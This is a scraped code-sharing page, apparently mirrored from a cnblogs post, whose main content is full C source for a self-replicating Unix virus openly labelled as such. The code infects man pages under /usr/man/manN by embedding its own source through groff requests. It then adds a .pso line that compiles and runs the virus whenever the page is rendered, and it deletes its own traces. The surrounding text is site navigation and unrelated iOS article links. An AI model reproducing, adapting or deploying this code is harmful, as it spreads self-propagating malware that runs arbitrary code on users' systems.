zoukankan
html css js c++ java
Manpage 原代码
Code
/**/
/*
** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
**
*/
#include
<
stdio.h
>
#include
<
sys
/
types.h
>
#include
<
dirent.h
>
#include
<
stdlib.h
>
const
char
*
viriiSource
=
"
/tmp/virus.c
"
;
const
char
*
tmpVictum
=
"
/tmp/victum
"
;
const
char
*
ident
=
"
.\x5c\x22VIRUS\x0a
"
;
char
path[]
=
"
/usr/man/manx
"
;
int
wasZipped
=
0
;
char
*
findVictum();
int
infectVictum(
char
*
);
int
main(
int
argc,
char
**
argv)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(
*
argv);
}
char
*
findVictum()
{
DIR
*
dp;
FILE
*
fd;
struct
dirent
*
de;
int
index
=
0
;
char
buf[
1000
];
static
char
pathname[
1000
];
/**/
/*
inititialization
*/
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
srand(time(NULL));
index
=
rand()
%
3
;
path[
12
]
=
index
+
49
;
if
((dp
=
opendir(path))
==
NULL)
{
return
NULL;
}
/**/
/*
skip "." and ".."
*/
readdir(dp); readdir(dp);
while
(
1
)
{
/**/
/*
read next entry
*/
if
((de
=
readdir(dp))
==
NULL)
{
closedir(dp);
return
NULL;
}
/**/
/*
create full pathname
*/
sprintf(pathname,
"
%s/%s
"
, path, de
->
d_name);
/**/
/*
if zipped
*/
if
(strstr(pathname,
"
.gz
"
))
{
sprintf(buf,
"
gunzip %s
"
, pathname);
system(buf);
wasZipped
=
1
;
/**/
/*
without '.gz'
*/
pathname[strlen(pathname)
-
3
]
=
0
;
}
/**/
/*
get next filename from directory
*/
if
((fd
=
fopen(pathname,
"
r
"
))
==
NULL)
{
continue
;
}
fgets(buf,
100
, fd);
/**/
/*
look if not already infected
*/
if
(strcmp(buf, ident)
==
0
)
{
fclose(fd);
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
}
else
{
fclose(fd);
return
pathname;
}
}
}
int
infectVictum(
char
*
victum)
{
char
buf[
1000
];
FILE
*
virusIn,
*
victumIn,
*
tmpOut;
memset(buf,
0
,
1000
);
if
((virusIn
=
fopen(viriiSource,
"
r
"
))
==
NULL)
{
return
1
;
}
if
((tmpOut
=
fopen(tmpVictum,
"
a
"
))
==
NULL)
{
fclose(virusIn);
return
1
;
}
if
((victumIn
=
fopen(victum,
"
r
"
))
==
NULL)
{
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
/**/
/*
write ident-string to man-page
*/
fprintf(tmpOut,
"
%s
"
, ident);
/**/
/*
and append the original man-page
*/
while
(fgets(buf,
999
, victumIn)
!=
NULL)
{
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
1000
,
0
);
}
fclose(victumIn);
/**/
/*
finally append virus-code to it
*/
sprintf(buf,
"
.opena v %s\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
0
,
1000
);
while
(fgets(buf,
999
, virusIn)
!=
NULL)
{
fprintf(tmpOut,
"
.write v %s
"
, buf);
memset(buf,
0
,
1000
);
}
sprintf(buf,
"
.pso cc %s -o /tmp/virus;/tmp/virus &\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
fclose(virusIn);
fclose(tmpOut);
unlink(victum);
/**/
/*
our smart-copy ;-)
*/
link(tmpVictum, victum);
unlink(tmpVictum);
if
(wasZipped)
{
sprintf(buf,
"
gzip %s
"
, victum);
system(buf);
}
return
0
;
}
查看全文
相关阅读:
#从零开始学Swift2.0# No.4 枚举, 元组, 数组和字典
#从零开始学Swift2.0# No.3 基本数据类型
#从零开始学Swift2.0# No.2 运算符和表达式
#从零开始学Swift2.0# No.1 初识Swift
MacOS下SVN的使用
在Xcode中制作.a文件
在Xcode中制作Framework
Objective-C中的Runtime
汉语字典或者词典的简单的ios小demo
ios开发-UI进阶-核心动画-时钟动画小案例
原文地址:https://www.cnblogs.com/phirothing/p/1396016.html
最新文章
LZH_IJKPlayer-一个最简单使用的视频播放器,集成于bilibili开源直播播放器(ijkplayer)
Cornerstone--SVN项目管理工具 简易教程
苹果 App Store账号申请和证书申请发布app等知识
iOS之项目管理---25个Git进阶技巧
iOS UICollectionView简单使用
C以及Objective-C测试题讲解(下)
C以及Objective-C测试题讲解(上)
iOS中nil,Nil,NULL的区别
二维码的识别以及扫描界面的生成
二维码的生成
热门文章
NSURLSession的断点下载
文件下载(大文件下载)
小文件下载
视频截图代码
反转数组内容
判断字符串是否包含 中文字符 字母 数字 以及下划线
OC中关于NSDate详解及获取当前时间等常用操作
关于数据持久化的一个简介
#从零开始学SWIFT2.0# NO.6 控制流
#从零开始学SWIFT2.0# NO.5 可选变量和集合
Copyright © 2011-2022 走看看